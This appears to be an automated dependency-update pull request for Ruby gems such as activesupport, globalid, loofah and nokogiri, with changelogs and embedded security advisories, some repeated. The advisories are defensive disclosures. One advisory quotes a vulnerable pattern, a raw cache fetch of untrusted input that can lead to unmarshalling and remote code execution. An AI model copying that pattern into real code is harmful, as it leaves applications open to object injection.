↗️ activesupport (indirect, 5.2.4.2 → 8.0.3) · Repo · Changelog

Security Advisories 🚨

🚨 Active Support Possibly Discloses Locally Encrypted Files

There is a possible file disclosure of locally encrypted files in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-38037.

Versions Affected: >= 5.2.0 Not affected: < 5.2.0 Fixed Versions: 7.0.7.1, 6.1.7.5

Impact

ActiveSupport::EncryptedFile writes contents that will be encrypted to a temporary file. The temporary file’s permissions are defaulted to the user’s current umask settings, meaning that it’s possible for other users on the same system to read the contents of the temporary file.

Attackers that have access to the file system could possibly read the contents of this temporary file while a user is editing it.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

To work around this issue, you can set your umask to be more restrictive like this:
$ umask 0077

🚨 Active Support Possibly Discloses Locally Encrypted Files

There is a possible file disclosure of locally encrypted files in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-38037.

Versions Affected: >= 5.2.0 Not affected: < 5.2.0 Fixed Versions: 7.0.7.1, 6.1.7.5

Impact

ActiveSupport::EncryptedFile writes contents that will be encrypted to a temporary file. The temporary file’s permissions are defaulted to the user’s current umask settings, meaning that it’s possible for other users on the same system to read the contents of the temporary file.

Attackers that have access to the file system could possibly read the contents of this temporary file while a user is editing it.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

To work around this issue, you can set your umask to be more restrictive like this:
$ umask 0077

🚨 Possible XSS Security Vulnerability in SafeBuffer#bytesplice

There is a vulnerability in ActiveSupport if the new bytesplice method is called on a SafeBuffer with untrusted user input.
This vulnerability has been assigned the CVE identifier CVE-2023-28120.

Versions Affected: All. Not affected: None Fixed Versions: 7.0.4.3, 6.1.7.3

Impact

ActiveSupport uses the SafeBuffer string subclass to tag strings as html_safe after they have been sanitized.
When these strings are mutated, the tag is should be removed to mark them as no longer being html_safe.

Ruby 3.2 introduced a new bytesplice method which ActiveSupport did not yet understand to be a mutation.
Users on older versions of Ruby are likely unaffected.

All users running an affected release and using bytesplice should either upgrade or use one of the workarounds immediately.

Workarounds

Avoid calling bytesplice on a SafeBuffer (html_safe) string with untrusted user input.

🚨 Possible XSS Security Vulnerability in SafeBuffer#bytesplice

There is a vulnerability in ActiveSupport if the new bytesplice method is called on a SafeBuffer with untrusted user input.
This vulnerability has been assigned the CVE identifier CVE-2023-28120.

Versions Affected: All. Not affected: None Fixed Versions: 7.0.4.3, 6.1.7.3

Impact

ActiveSupport uses the SafeBuffer string subclass to tag strings as html_safe after they have been sanitized.
When these strings are mutated, the tag is should be removed to mark them as no longer being html_safe.

Ruby 3.2 introduced a new bytesplice method which ActiveSupport did not yet understand to be a mutation.
Users on older versions of Ruby are likely unaffected.

All users running an affected release and using bytesplice should either upgrade or use one of the workarounds immediately.

Workarounds

Avoid calling bytesplice on a SafeBuffer (html_safe) string with untrusted user input.

🚨 ReDoS based DoS vulnerability in Active Support's underscore

There is a possible regular expression based DoS vulnerability in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-22796.

Versions Affected: All Not affected: None Fixed Versions: 5.2.8.15 (Rails LTS, which is a paid service and not part of the rubygem), 6.1.7.1, 7.0.4.1
Impact

A specially crafted string passed to the underscore method can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability.

This affects String#underscore, ActiveSupport::Inflector.underscore, String#titleize, and any other methods using these.

All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.

Users on Ruby 3.2.0 or greater may be able to reduce the impact by configuring Regexp.timeout.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-1-Avoid-regex-backtracking-in-Inflector.underscore.patch - Patch for 6.1 series
7-0-Avoid-regex-backtracking-in-Inflector.underscore.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 ReDoS based DoS vulnerability in Active Support's underscore

There is a possible regular expression based DoS vulnerability in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-22796.

Versions Affected: All Not affected: None Fixed Versions: 5.2.8.15 (Rails LTS, which is a paid service and not part of the rubygem), 6.1.7.1, 7.0.4.1
Impact

A specially crafted string passed to the underscore method can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability.

This affects String#underscore, ActiveSupport::Inflector.underscore, String#titleize, and any other methods using these.

All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.

Users on Ruby 3.2.0 or greater may be able to reduce the impact by configuring Regexp.timeout.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
6-1-Avoid-regex-backtracking-in-Inflector.underscore.patch - Patch for 6.1 series
7-0-Avoid-regex-backtracking-in-Inflector.underscore.patch - Patch for 7.0 series
Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 ActiveSupport potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore

In ActiveSupport, there is potentially unexpected behaviour in the MemCacheStore and RedisCacheStore where, when
untrusted user input is written to the cache store using the raw: true parameter, re-reading the result
from the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:
data = cache.fetch("demo", raw: true) { untrusted_string }
Versions Affected: rails < 5.2.5, rails < 6.0.4
Not affected: Applications not using MemCacheStore or RedisCacheStore. Applications that do not use the raw option when storing untrusted user input.
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1

Impact

Unmarshalling of untrusted user input can have impact up to and including RCE. At a minimum,
this vulnerability allows an attacker to inject untrusted Ruby objects into a web application.
In addition to upgrading to the latest versions of Rails, developers should ensure that whenever
they are calling Rails.cache.fetch they are using consistent values of the raw parameter for both
reading and writing, especially in the case of the RedisCacheStore which does not, prior to these changes,
detect if data was serialized using the raw option upon deserialization.

Workarounds

It is recommended that application developers apply the suggested patch or upgrade to the latest release as
soon as possible. If this is not possible, we recommend ensuring that all user-provided strings cached using
the raw argument should be double-checked to ensure that they conform to the expected format.

🚨 ActiveSupport potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore

In ActiveSupport, there is potentially unexpected behaviour in the MemCacheStore and RedisCacheStore where, when
untrusted user input is written to the cache store using the raw: true parameter, re-reading the result
from the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:
data = cache.fetch("demo", raw: true) { untrusted_string }
Versions Affected: rails < 5.2.5, rails < 6.0.4
Not affected: Applications not using MemCacheStore or RedisCacheStore. Applications that do not use the raw option when storing untrusted user input.
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1

Impact

Unmarshalling of untrusted user input can have impact up to and including RCE. At a minimum,
this vulnerability allows an attacker to inject untrusted Ruby objects into a web application.
In addition to upgrading to the latest versions of Rails, developers should ensure that whenever
they are calling Rails.cache.fetch they are using consistent values of the raw parameter for both
reading and writing, especially in the case of the RedisCacheStore which does not, prior to these changes,
detect if data was serialized using the raw option upon deserialization.

Workarounds

It is recommended that application developers apply the suggested patch or upgrade to the latest release as
soon as possible. If this is not possible, we recommend ensuring that all user-provided strings cached using
the raw argument should be double-checked to ensure that they conform to the expected format.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

↗️ builder (indirect, 3.2.4 → 3.3.0) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by 24 commits:

↗️ concurrent-ruby (indirect, 1.1.6 → 1.3.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ connection_pool (indirect, 2.2.2 → 2.5.4) · Repo · Changelog

Release Notes

2.5.4 (from changelog)

Add ability to remove a broken connection from the pool [#204, womblep]

2.5.3 (from changelog)

Fix TruffleRuby/JRuby crash [#201]

2.5.2 (from changelog)

Rollback inadvertant change to auto_reload_after_fork default. [#200]

2.5.1 (from changelog)

Pass options to TimedStack in checkout [#195]

Optimize connection lookup [#196]

Fixes for use with Ractors

2.5.0 (from changelog)

Reap idle connections [#187]
idle_timeout = 60
pool = ConnectionPool.new ...
pool.reap(idle_timeout, &:close)
ConnectionPool#idle returns the count of connections not in use [#187]

2.4.1 (from changelog)

New auto_reload_after_fork config option to disable auto-drop [#177, shayonj]

2.4.0 (from changelog)

Automatically drop all connections after fork [#166]

2.3.0 (from changelog)

Minimum Ruby version is now 2.5.0

Add pool size to TimeoutError message

2.2.5 (from changelog)

Fix argument forwarding on Ruby 2.7 [#149]

2.2.4 (from changelog)

Add reload to close all connections, recreating them afterwards [Andrew Marshall, #140]

Add then as a way to use a pool or a bare connection with the same code path [#138]

2.2.3 (from changelog)

Pool now throws ConnectionPool::TimeoutError on timeout. [#130]

Use monotonic clock present in all modern Rubies [Tero Tasanen, #109]

Remove code hacks necessary for JRuby 1.7

Expose wrapped pool from ConnectionPool::Wrapper [Thomas Lecavelier, #113]

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ erubi (indirect, 1.9.0 → 1.13.1) · Repo · Changelog

Release Notes

1.13.1 (from changelog)

* Avoid spurious frozen string literal warnings for chilled strings when using Ruby 3.4 (jeremyevans)

1.13.0 (from changelog)

* Define Erubi.h as a module function (jeremyevans)

* Add erubi/capture_block, supporting capturing block output via standard <%= and <%== tags (jeremyevans)

1.12.0 (from changelog)

* Use erb/escape for faster html escaping if available (jeremyevans)

* Default :freeze_template_literals option to false if running with --enable-frozen-string-literal (casperisfine) (#35)

1.11.0 (from changelog)

* Support :freeze_template_literals option for configuring whether to add .freeze to template literal strings (casperisfine) (#33)

* Support :chain_appends option for chaining appends to the buffer variable (casperisfine, jeremyevans) (#32)

* Avoid unnecessary defined? usage on Ruby 3+ when using the :ensure option (jeremyevans)

1.10.0 (from changelog)

* Improve template parsing, mostly by reducing allocations (jeremyevans)

* Do not ship tests in the gem, reducing gem size about 20% (jeremyevans)

* Support :literal_prefix and :literal_postfix options for how to output literal tags (e.g. <%% code %>) (jaredcwhite) (#26, #27)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 64 commits:

↗️ ffi (indirect, 1.11.1 → 1.17.2) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ globalid (indirect, 0.4.2 → 1.3.0) · Repo · Changelog

Security Advisories 🚨

🚨 ReDoS based DoS vulnerability in GlobalID

There is a ReDoS based DoS vulnerability in the GlobalID gem. This vulnerability has been assigned the CVE identifier CVE-2023-22799.

Versions Affected: >= 0.2.1 Not affected: NOTAFFECTED Fixed Versions: 1.0.1
Impact

There is a possible DoS vulnerability in the model name parsing section of the GlobalID gem. Carefully crafted input can cause the regular expression engine to take an unexpected amount of time. All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
1-0-model-name-redos.patch - Patch for 1.0 series

Release Notes

1.2.0

What's Changed

Drop support to Rails < 6.1 and Ruby <2.7 by @rafaelfranca in #153

Don't show secrets for SignedGlobalID#inspect by @p8 in #160

Allow for composite identifiers delimited by / by @nvasilevski in #163

Add Eager Load Option by @rafacoello in #139

New Contributors

@rafaelfranca made their first contribution in #153

@p8 made their first contribution in #159

@nvasilevski made their first contribution in #162

@rafacoello made their first contribution in #139

Full Changelog: v1.1.0...v1.2.0

1.1.0

What's Changed

URI::GID: Update #check_scheme, no need to call super by @alexcwatt in #146

JSON-encode GlobalIDs as strings by @georgeclaghorn in #149

Support pattern matching of GlobalID & GlobalID::URI by @ojab in #140

prevent double find by @ooooooo-q in #148

implement non signed global_id helper method on fixture set by @rainerborene in #144

New Contributors

@daemonsy made their first contribution in #142

@alexcwatt made their first contribution in #146

@liijunwei made their first contribution in #150

@ojab made their first contribution in #140

@ooooooo-q made their first contribution in #148

@rainerborene made their first contribution in #144

Full Changelog: v1.0.1...v1.1.0

1.0.1

Possible ReDoS based DoS vulnerability in GlobalID

There is a ReDoS based DoS vulnerability in the GlobalID gem. This
vulnerability has been assigned the CVE identifier CVE-2023-22799.

Versions Affected: >= 0.2.1
Not affected: NOTAFFECTED
Fixed Versions: 1.0.1

Impact

There is a possible DoS vulnerability in the model name parsing section of the
GlobalID gem. Carefully crafted input can cause the regular expression engine
to take an unexpected amount of time. All users running an affected release
should either upgrade or use one of the workarounds immediately.

Releases

The FIXED releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Credits

Thank you ooooooo_k for reporting this!

1.0.0

Stable API release.

The code is the same as the 0.6.0 release.

0.6.0

Add ActiveRecord::FixtureSet.signed_global_id helper to generate signed ids inside fixtures.

0.5.2

Add back Ruby 2.5 support so gem install rails works out of the box, thereby satisfying Rails' Ruby version requirement. See rails/rails#42931

0.5.1

New: Allow expiration to be turned off globally #128

Fixed: Support for ruby-head #132

Maintainance: Drop support for EOL'ed Rubies (< 2.6.0) and Rails 4.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ i18n (indirect, 1.8.2 → 1.14.7) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ loofah (indirect, 2.4.0 → 2.24.1) · Repo · Changelog

Security Advisories 🚨

🚨 Inefficient Regular Expression Complexity in Loofah

Summary

Loofah < 2.19.1 contains an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.

Mitigation

Upgrade to Loofah >= 2.19.1.

Severity

The Loofah maintainers have evaluated this as High Severity 7.5 (CVSS3.1).

References

CWE - CWE-1333: Inefficient Regular Expression Complexity (4.9)

https://hackerone.com/reports/1684163

Credit

This vulnerability was responsibly reported by @ooooooo-q (https://github.com/ooooooo-q).

🚨 Improper neutralization of data URIs may allow XSS in Loofah

Summary

Loofah >= 2.1.0, < 2.19.1 is vulnerable to cross-site scripting via the image/svg+xml media type in data URIs.

Mitigation

Upgrade to Loofah >= 2.19.1.

Severity

The Loofah maintainers have evaluated this as Medium Severity 6.1.

References

CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)

SVG MIME Type (image/svg+xml) is misleading to developers · Issue #266 · w3c/svgwg

https://hackerone.com/reports/1694173

#101

Credit

This vulnerability was responsibly reported by Maciej Piechota (@haqpl).

🚨 Uncontrolled Recursion in Loofah

Summary

Loofah >= 2.2.0, < 2.19.1 uses recursion for sanitizing CDATA sections, making it susceptible to stack exhaustion and raising a SystemStackError exception. This may lead to a denial of service through CPU resource consumption.

Mitigation

Upgrade to Loofah >= 2.19.1.

Users who are unable to upgrade may be able to mitigate this vulnerability by limiting the length of the strings that are sanitized.

Severity

The Loofah maintainers have evaluated this as High Severity 7.5 (CVSS3.1).

References

CWE - CWE-674: Uncontrolled Recursion (4.9)

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ mail (indirect, 2.7.1 → 2.8.1) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ marcel (indirect, 0.3.3 → 1.1.0) · Repo

Release Notes

1.1.0

What's Changed

Identify Sony and Canon raw images as subtypes of image/tiff by @afcapel in #89

Fix frozen string literal warning in magic detection by @FrancescoK in #123

Update tika definitions to latest version by @MarcelEeken in #114

Fix detection of AV1 in WebM as video/webm by @alexandergitter in #104

New Contributors

@afcapel made their first contribution in #89

@FrancescoK made their first contribution in #123

@MarcelEeken made their first contribution in #114

@Mth0158 made their first contribution in #108

@mark-young-atg made their first contribution in #105

@alexandergitter made their first contribution in #104

@rafaelfranca made their first contribution in #126

Full Changelog: v1.0.4...v1.1.0

1.0.4

What's Changed

Regression fix: binary declared type should fall back to filename extension type by @jeremy in #99

Full Changelog: v1.0.3...v1.0.4

1.0.3

What's Changed

Prefer audio/ogg instead of audio/vorbis by @gmcgibbon in #65

Suppress warning by @wonda-tea-coffee in #69

Add explanation of MimeType.for's handling of argument types by @elebow in #68

tables.rb: Generate UTF-8 strings when possible. by @casperisfine in #70

Remove comment strings from Tables::TYPE by @casperisfine in #71

Store MIME parents in a distinct Hash by @casperisfine in #72

Fix magic detection for HTML with <svg by @ursm in #74

Update gem name in Gemfile by @elebow in #88

Move to GitHub Actions by @hahmed in #82

Add note in README how to extend detection of custom file types by @vipulnsward in #93

Fix Illustrator detection as application/pdf instead of application/illustrator by @jeremy in #94

New Contributors

@wonda-tea-coffee made their first contribution in #69

@elebow made their first contribution in #68

@casperisfine made their first contribution in #70

@ursm made their first contribution in #74

@hahmed made their first contribution in #82

@vipulnsward made their first contribution in #93

@jeremy made their first contribution in #94

Full Changelog: v1.0.2...v1.0.3

1.0.2

Include Apache license in gem release. (a525d5b)

Prefer audio/x-wav for WAV audio files. (#45)

Prefer application/x-x509-ca-cert for Privacy-Enhanced Mail certificates. (#46)

Prefer audio/flac for FLAC audio files. (#47)

Prefer audio/aac for Advanced Audio Coding audio files. (#49)

Prefer application/vnd.ms-access for Microsodt Access DB files. (#50)

Support text/x-scss and text/x-sass stylesheets. (#52)

Support encrypted Microsoft Access DB files. (#53)

Prefer application/x-ole-storage for Microsoft Office files. (#54)

Prefer text/markdown for Markdown files. (#55)

Prefer audio/mpc for Musepack audio files. (#56)

Support audio/webm audio files. (#58)

Support image/avif images files. (#63)

1.0.1

Fixes identifying OpenDocument files by magic. 1.0.0 imprecisely identified them as application/zip. (#38)

Fixes identifying .docx, .pptx, and .xlsx files exported from Google Sheets by magic. (#36)

Identifies vCard files as text/vcard rather than text/x-vcard. (27fac74bd69663495410339bfd40ea8581ba669b)

Identifies .otf, .woff, and .woff2 files aș font/otf, font/woff, and font/woff2, respectively. (#37)

1.0.0

The mimemagic dependency—which relies on GPL-licensed mime type data from freedesktop.org’s shared-mime-info project—is removed. Marcel now directly uses mime type data adapted from the Apache Tika project, distributed under the Apache License.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ mini_mime (indirect, 1.0.2 → 1.1.5) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by 30 commits:

↗️ mini_portile2 (indirect, 2.4.0 → 2.8.9) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ minitest (indirect, 5.14.0 → 5.25.5) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ nio4r (indirect, 2.5.2 → 2.7.4) · Repo · Changelog

Release Notes

2.7.2 (from changelog)

Modernize gem (list all authors, etc).

Drop official support for Ruby 2.4.

Fix JRuby release version.

2.7.1

What's Changed

Update changes.md by @ioquatix in #311

fix jruby warnings by @ahorek in #313

Convert license to array of identifiers by @voxik in #312

Full Changelog: v2.7.0...v2.7.1

2.7.0

What's Changed

Fix changelog_uri in gemspec metadata by @MaximeD in #303

Fix license by @voxik in #309

Convert NIO objects to TypedData API by @casperisfine in #310

New Contributors

@MaximeD made their first contribution in #303

@voxik made their first contribution in #309

@casperisfine made their first contribution in #310

Full Changelog: v2.6.1...v2.7.0

2.5.4 (from changelog)

#251 Intermittent SEGV during GC. (@boazsegev)

2.5.3 (from changelog)

#241 Possible bug with Ruby >= 2.7.0 and GC.compact. (@boazsegev)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ nokogiri (indirect, 1.10.9 → 1.18.10) · Repo · Changelog

Security Advisories 🚨

🚨 Nokogiri patches vendored libxml2 to resolve multiple CVEs

Summary

Nokogiri v1.18.9 patches the vendored libxml2 to address CVE-2025-6021, CVE-2025-6170, CVE-2025-49794, CVE-2025-49795, and CVE-2025-49796.

Impact and severity

CVE-2025-6021

A flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.

NVD claims a severity of 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/17d950ae

CVE-2025-6170

A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare configurations without modern protections.

NVD claims a severity of 2.5 Low (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L)

Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/5e9ec5c1

CVE-2025-49794

A use-after-free vulnerability was found in libxml2. This issue occurs when parsing XPath elements under certain circumstances when the XML schematron has the <sch:name path="..."/> schema elements. This flaw allows a malicious actor to craft a malicious XML document used as input for libxml, resulting in the program's crash using libxml or other possible undefined behaviors.

NVD claims a severity of 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)

Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/81cef8c5

CVE-2025-49795

A NULL pointer dereference vulnerability was found in libxml2 when processing XPath XML expressions. This flaw allows an attacker to craft a malicious XML input to libxml2, leading to a denial of service.

NVD claims a severity of 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/62048278

CVE-2025-49796

A vulnerability was found in libxml2. Processing certain sch:name elements from the input XML file can trigger a memory corruption issue. This flaw allows an attacker to craft a malicious XML input file that can lead libxml to crash, resulting in a denial of service or other possible undefined behavior due to sensitive data being corrupted in memory.

NVD claims a severity of 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)

Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/81cef8c5

Affected Versions

Nokogiri < 1.18.9 when using CRuby (MRI) with vendored libxml2

Patched Versions

Nokogiri >= 1.18.9

Mitigation

Upgrade to Nokogiri v1.18.9 or later.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile and link Nokogiri against patched external libxml2 libraries which will also address these same issues.

References

#3526

https://nvd.nist.gov/vuln/detail/CVE-2025-6021

https://nvd.nist.gov/vuln/detail/CVE-2025-6170

https://nvd.nist.gov/vuln/detail/CVE-2025-49794

https://nvd.nist.gov/vuln/detail/CVE-2025-49795

https://nvd.nist.gov/vuln/detail/CVE-2025-49796

🚨 Nokogiri updates packaged libxml2 to v2.13.8 to resolve CVE-2025-32414 and CVE-2025-32415

Summary

Nokogiri v1.18.8 upgrades its dependency libxml2 to v2.13.8.

libxml2 v2.13.8 addresses:

CVE-2025-32414

described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/889

CVE-2025-32415

described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/890

Impact

CVE-2025-32414: No impact

In libxml2 before 2.13.8 and 2.14.x before 2.14.2, out-of-bounds memory access can occur in the Python API (Python bindings) because of an incorrect return value. This occurs in xmlPythonFileRead and xmlPythonFileReadRaw because of a difference between bytes and characters.

There is no impact from this CVE for Nokogiri users.

CVE-2025-32415: Low impact

In libxml2 before 2.13.8 and 2.14.x before 2.14.2, xmlSchemaIDCFillNodeTables in xmlschemas.c has a heap-based buffer under-read. To exploit this, a crafted XML document must be validated against an XML schema with certain identity constraints, or a crafted XML schema must be used.

In the upstream issue, further context is provided by the maintainer:

The bug affects validation against untrusted XML Schemas (.xsd) and validation of untrusted
documents against trusted Schemas if they make use of xsd:keyref in combination with recursively
defined types that have additional identity constraints.

MITRE has published a severity score of 2.9 LOW (CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L) for this CVE.

🚨 Nokogiri updates packaged libxslt to v1.1.43 to resolve multiple CVEs

Summary

Nokogiri v1.18.4 upgrades its dependency libxslt to v1.1.43.

libxslt v1.1.43 resolves:

CVE-2025-24855: Fix use-after-free of XPath context node

CVE-2024-55549: Fix UAF related to excluded namespaces

Impact

CVE-2025-24855

"Use-after-free due to xsltEvalXPathStringNs leaking xpathCtxt->node"

MITRE has rated this 7.8 High CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H

Upstream report: https://gitlab.gnome.org/GNOME/libxslt/-/issues/128

NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2025-24855

CVE-2024-55549

"Use-after-free related to excluded result prefixes"

MITRE has rated this 7.8 High CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H

Upstream report: https://gitlab.gnome.org/GNOME/libxslt/-/issues/127

NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2024-55549

🚨 Nokogiri updates packaged libxml2 to 2.13.6 to resolve CVE-2025-24928 and CVE-2024-56171

Summary

Nokogiri v1.18.3 upgrades its dependency libxml2 to v2.13.6.

libxml2 v2.13.6 addresses:

CVE-2025-24928

described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/847

CVE-2024-56171

described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/828

Impact

CVE-2025-24928

Stack-buffer overflow is possible when reporting DTD validation errors if the input contains a long (~3kb) QName prefix.

CVE-2024-56171

Use-after-free is possible during validation against untrusted XML Schemas (.xsd) and, potentially, validation of untrusted documents against trusted Schemas if they make use of xsd:keyref in combination with recursively defined types that have additional identity constraints.

🚨 Nokogiri updates packaged libxml2 to v2.12.7 to resolve CVE-2024-34459

Summary

Nokogiri v1.16.5 upgrades its dependency libxml2 to 2.12.7 from 2.12.6.

libxml2 v2.12.7 addresses CVE-2024-34459:

described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/720

patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/2876ac53

Impact

There is no impact to Nokogiri users because the issue is present only in libxml2's xmllint tool which Nokogiri does not provide or expose.

Timeline

2024-05-13 05:57 EDT, libxml2 2.12.7 release is announced

2024-05-13 08:30 EDT, nokogiri maintainers begin triage

2024-05-13 10:05 EDT, nokogiri v1.16.5 is released and this GHSA made public

🚨 Nokogiri update packaged libxml2 to v2.12.5 to resolve CVE-2024-25062

Summary

Nokogiri upgrades its dependency libxml2 as follows:

Nokogiri v1.15.6 upgrades libxml2 to 2.11.7 from 2.11.6

Nokogiri v1.16.2 upgrades libxml2 to 2.12.5 from 2.12.4

libxml2 v2.11.7 and v2.12.5 address the following vulnerability:

CVE-2024-25062 / https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25062

described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/604

patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/92721970

Please note that this advisory only applies to the CRuby implementation of Nokogiri, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.

JRuby users are not affected.

Mitigation

Upgrade to Nokogiri ~> 1.15.6 or >= 1.16.2.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile
and link Nokogiri against patched external libxml2 libraries which will also address these same
issues.

Impact

From the CVE description, this issue applies to the xmlTextReader module (which underlies Nokogiri::XML::Reader):

When using the XML Reader interface with DTD validation and XInclude expansion enabled, processing crafted XML documents can lead to an xmlValidatePopElement use-after-free.

Timeline

2024-02-04 10:35 EST - this GHSA is drafted without complete details about when the upstream issue was introduced; a request is made of libxml2 maintainers for more detailed information

2024-02-04 10:48 EST - updated GHSA to reflect libxml2 maintainers' confirmation of affected versions

2024-02-04 11:54 EST - v1.16.2 published, this GHSA made public

2024-02-05 10:18 EST - updated with MITRE link to the CVE information, and updated "Impact" section

2024-03-16 09:03 EDT - v1.15.6 published (see discussion at #3146), updated mitigation information

2024-03-18 22:12 EDT - update "affected products" range with v1.15.6 information

🚨 Nokogiri update packaged libxml2 to v2.12.5 to resolve CVE-2024-25062

Summary

Nokogiri upgrades its dependency libxml2 as follows:

Nokogiri v1.15.6 upgrades libxml2 to 2.11.7 from 2.11.6

Nokogiri v1.16.2 upgrades libxml2 to 2.12.5 from 2.12.4

libxml2 v2.11.7 and v2.12.5 address the following vulnerability:

CVE-2024-25062 / https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25062

described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/604

patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/92721970

Please note that this advisory only applies to the CRuby implementation of Nokogiri, and only if the packaged libraries are being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's libxml2 release announcements.

JRuby users are not affected.

Mitigation

Upgrade to Nokogiri ~> 1.15.6 or >= 1.16.2.

Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile
and link Nokogiri against patched external libxml2 libraries which will also address these same
issues.

Impact

From the CVE description, this issue applies to the xmlTextReader module (which underlies Nokogiri::XML::Reader):

When using the XML Reader interface with DTD validation and XInclude expansion enabled, processing crafted XML documents can lead to an xmlValidatePopElement use-after-free.

Timeline

2024-02-04 10:35 EST - this GHSA is drafted without complete details about when the upstream issue was introduced; a request is made of libxml2 maintainers for more detailed information

